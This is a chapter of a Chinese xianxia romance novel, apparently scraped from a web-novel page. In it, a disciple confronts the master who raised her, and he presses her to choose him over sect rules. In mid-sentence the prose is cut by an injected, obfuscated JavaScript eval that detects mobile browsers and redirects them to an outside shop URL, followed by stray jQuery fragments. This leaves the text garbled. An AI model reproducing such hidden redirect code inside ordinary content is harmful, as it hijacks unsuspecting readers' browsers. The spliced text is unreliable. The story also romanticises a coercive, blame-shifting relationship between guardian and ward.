“师尊!”
江畔的冷风吹来,芦苇擦过苏辞影的肌肤,带来细微的瘙痒感。
当耳边芦苇的“沙沙”声响起,几乎盖不住她胸腔里混乱的心跳。
她仰望着叶如照的身影,那身影仿佛是遥不可及的寒月。那些身份隔阂、世俗伦理、还有他昔日毫不犹豫的批评,都像无形的锁链,将她牢牢钉在原地,不敢再向前一步。
霎时间,江风更疾,银白的月华倾泻而下,让他的面容模糊在阴影里,岁月赋予他的不止是冷寂,还有跨越千山万水后的决然。
她想象不出他年少时的模样,是否也曾如她此刻这般患得患失。
年龄与修为的鸿沟,让她只能永远追逐,永远仰望他的背影。
眼见那身影似要随风化去,越来越淡,往昔记忆猛地冲上心头。苏辞影再也按捺不住,她猛地拨开身前的芦苇,不顾一切地在惨淡月色下狂奔起来。
全身的血液都在奔涌,视野甚至因急速和激动而模糊。她不知是自己跑得更快,还是脚下江水奔流更急。但她心里无比清楚:若这倾慕是真,无论结局如何,她都必须让他看见自己的想法,不容此情留下半分遗憾。
她是如此相信叶如照,也如此相信自己的感觉——相信他永远不会抛弃她,也永远不会伤害她。即便这段情愫注定悖逆,即便他曾明确拒绝过自己。
仿佛置身于命运湍流中的一叶小舟,但她不甘心仅被浪潮裹挟,随波远去。她想亲手握住船桨,哪怕面对的是惊涛骇雨。
他可曾听见她的呼喊?
苏辞影越是奋力向前奔跑,无力感便越是如潮水般涌来。凡人逐月本是痴想,修士逐月又何尝不是镜花水月?无论她如何竭尽全力,似乎永远也触不到真正渴望的东西。
“苏辞影!”
这一次,不是她在呼唤。
眼前奔腾的大江景象骤然消散,熟悉的乌梅花树重新映入眼帘。
苏辞影恍若大梦初醒,她呼吸微滞,唯有剧烈的心跳昭示着方才的惊惶与悸动。
而当那道身影真真切切出现在面前时,梦境竟仿佛成了真,尽管他此刻正蹙着眉,神色明显不悦。
“你在这里乱跑什么。”
陡然对上那张冠绝天下的脸,即便叶如照语带责问,苏辞影竟也奇异地感到一阵心安。
她讪讪道:“师尊,我方才看到一条极宽阔的大江,还以为……以为您要飞升离去了,这才吓得不轻。”她偷偷瞥了眼叶如照的脸色,小心试探道,“师尊,这洞府是否设有禁制或阵法?我怎会看到那般景象……”
“是设有阵法,你所见乃是阵中幻景罢了。”叶如照的目光落在她脸上,问道,“怎么跑得这么急?”
因为害怕你的离去。
这话苏辞影决计不敢说出口,那会显得自己太过痴傻,也暴露了她永无止境的追逐。
于是,她只得装作若无其事:“没、没什么,只是在洞府中一直寻不见师尊,怕您怪罪我姗姗来迟,一时心急就……”
叶如照今日只着一件单薄长衫,修士自然不惧寒暑,但他周身如冰雪般气势更甚。
此刻,他乌黑长发半挽,几缕青丝垂落于雪白的颈侧,无端添了些许诱惑的意味。
“下次不必慌张,为师既让你来,便不会失约,你自幼至今,我当真罚过你几回呢?”叶如照说罢,转身径自向前行去。
苏辞影不知他欲往何处而去,他总是如此,习惯将她引向未知的前路。
她连忙跟上,忍不住在叶如照身后追问道:“师尊,您今日究竟有何事要吩咐我……那阵法之中为何会有大江?我又为何会在其中看见您的身影?”
“你很想知晓为师的事?”
“……是有些想知道。”苏辞影老实回答道,她总觉得看不透他。
“那你便需听为师的话,为师才告诉你。”
他不紧不慢地说。
这话反而激起了苏辞影的逆反之心,她不想一辈子都活在他的要求之下。
于是,她直直对上那双艳丽的眼眸,带着豁出去的意味道:“师尊,我可能做不到了,日后不能事事都听您的了……我想离开师门。”
“你又在胡言乱语什么?”
察觉叶如照眼神骤然发冷,苏辞影不由得哆嗦了一下,却仍强撑着说下去:“师尊,我仔细思量过了,我留在宗门本就不甚合适。一来,我只是个药修,二来,您上次说的那些话……”
她越说越心虚,言辞也磕绊起来:“我感觉,那与我的性子终究不太相合……我并非想与您断绝师徒情分,只是希望能下山去,往后少在师门走动,但我定会时常回来看望您的——”
“嗯,继续说。”
叶如照这般反应,简直让苏辞影魂飞魄散。
他居高临下地睨着她,甚至上前一步。在苏辞影浑身僵硬、四肢微微发颤之际,他竟伸手,细致地替她理了理因奔跑而散乱的衣襟。那动作自然而熟稔,如同长辈照料从外归家、衣衫不整的孩童。
那修长白皙的指尖宛如玉琢,并未真正触及她的肌肤,只余布料摩擦过的细微触感。
这本该是亲近乃至温存的举动,却让苏辞影毛骨悚然的,恨不能当场晕厥过去。然而,鼻尖萦绕的、来自他身上的淡雅冷香,又仿佛带着蛊惑人心的感觉,让她的脸颊迅速烧灼起来。
“……我想说的便是这些,我知晓自己本非天资卓绝的人,这样留在师尊身边,恐也于您无益吧。”
“是么?”叶如照退后半步,语气听不出波澜,“你觉得留在我身边不好,是因为自觉修为低微,无法修剑?”
“……是。”
“那你随为师来吧。”
苏辞影完全摸不透他的意图,一时茫然不已。叶如照极少谈及他的自身过往,如今也不愿多聊这洞府里的奇妙阵法,令她暗自气闷着。但她还是依言,老老实实跟了上去,两人一路行去,再次回到那乳白色的宽阔洞府之中。
这一次,叶如照当着她的面,在最内侧的玉壁前驻足,屈指在墙面上有节奏地轻叩数下。随着一声滑响,玉壁竟自中间缓缓分开,显露出一间颇为宽敞的密室。
室内陈设简雅,垂挂着桃花粉的轻纱幔帐,设有书案、柜阁与香炉等物。
苏辞影心中登时警铃大作。
这洞府之中,除了暗格,竟还藏有如此一间暗室?
在她忐忑不定的目光中,叶如照的脚步并未停歇,她也只好硬着头皮跟入。当手指拂过层层柔软纱幔,耳边唯有自己略显急促的呼吸声,越是向内行去,她越觉脑中空白一片。
暗室比她预想的更为深邃,里面竟零散放置着一些她幼时的玩具、胡乱涂鸦的书册、早已穿不下的旧衣,甚至还有当年行拜师礼时她用过的那个茶杯——提起拜师礼,据师姐们转述,当年她拜入叶如照门下时,并未如寻常弟子那般捧着白瓷茶杯跪地敬师。而是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16938627|192132||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
被叶如照抱在怀中,由他握着她的手,就着那茶杯饮了一口。
拜师礼是在宗门诸位长老乃至掌门红原元菱见证下举行,她身为叶如照的亲传弟子,仪式自是隆重。太上长老公孙左也在场,眼见叶如照全然不循规矩,几位德高望重的长老气得吹胡子瞪眼,公孙左更是当场震怒不已,礼成后便严厉斥责过叶如照。
然而叶如照从未放在心上,他若真在意这些陈规旧矩,当初也不会在整个仪式中,都将年幼的她抱在怀中,甚至置于膝上。
“那时你的手还没这茶杯大,两只小手勉强捧着,我们都怕你拿不稳泼洒了,烫着自己。可你师尊也没让你三拜九叩、从山门一步步跪行至议事厅……他就是一直抱着你,在那些长老面前走了一遭。”
师姐们昔日的话语仿佛又在耳边响起。
苏辞影忍不住抬头,望向身侧这个让她思绪纷乱的男人。
他究竟将她当作什么?
情难自禁地,苏辞影小声唤道:“师尊!”
“怎么?”
在这桃粉色的朦胧纱幔间,他的面容如雾里看花,平添几分难以言喻的暧昧。
苏辞影听见自己声音发颤:“您让我随您进入这暗室……究竟是将我当作什么呢?”
“你希望我把你当作什么?”叶如照说着,随手撩起一缕艳色纱幔。那柔靡的桃红映着他冷白的指节,竟显出几分惊心的艳色。
他语气平淡,却字字清晰道,“你是不愿再做我的徒弟了,是么?或者说,你并不甘心,你我之间仅有师徒之情。”
最后一句,已是笃定的陈述。
“最初我并未想与你生出任何旁的情愫。我也曾尽心尽力,抚养你长大。”他话音渐低,半个身子隐在飘拂的纱幔后,微微俯身,那姿态似是无奈,又似喟叹,“不知是我的教诲何处出了差池,竟让你生出这样的念头。”
“我曾经也确是将你视为徒儿,乃至女儿般照料着。我并不愿今生今世与你有任何逾越的纠葛。是你让我动摇,是你要我,与你一同走到今日这般境地——”
苏辞影简直不敢相信自己的耳朵,剧烈情绪冲击之下,她的脸颊烫得惊人。
她忍不住争辩道:“师尊!您究竟在说什么?!我何曾引诱过你?您为何认为我是罪魁祸首?”
“那你认为,你为什么现在能站在这里,还能用这种口吻对我说话?”叶如照忽然笑起来,发丝随着动作轻曳,他的脸庞如同冰雪中骤然绽开的春花,“现在,为师给你一个选择。我要你为我打破世俗伦理,为我违背门规,不顾一切地选择我。若你此刻感到害怕或彷徨,大可拒绝。但从此以后,为师也不会再见你。”
苏辞影顿时气得不轻。
即便对他迷恋至深,她也无法认同这扭曲的论调:“可是师尊,您若真与我在一起,您也需顾及您的身份,也顾及这传承上千年的门规戒律,怎么可能只要求我——”
“不。”他轻轻摇头,目光紧紧锁着她,“上千年的门规,我不在意。你曾经的身份,我不在意。你今生今世的成败得失,为师也不在意。”
说着,他忽地向前逼近一步,在苏辞影惊惧的注视下,他淡声道:“我只在意,你是否将我视作一个寻常的男人来对待。”
话音未落,他已近在咫尺。微凉的指尖轻轻捏住她的下颌,极缓地摩挲着,视线却落在她的唇瓣上,流连不去:“比如现在……你是否愿意原谅我的轻浮?”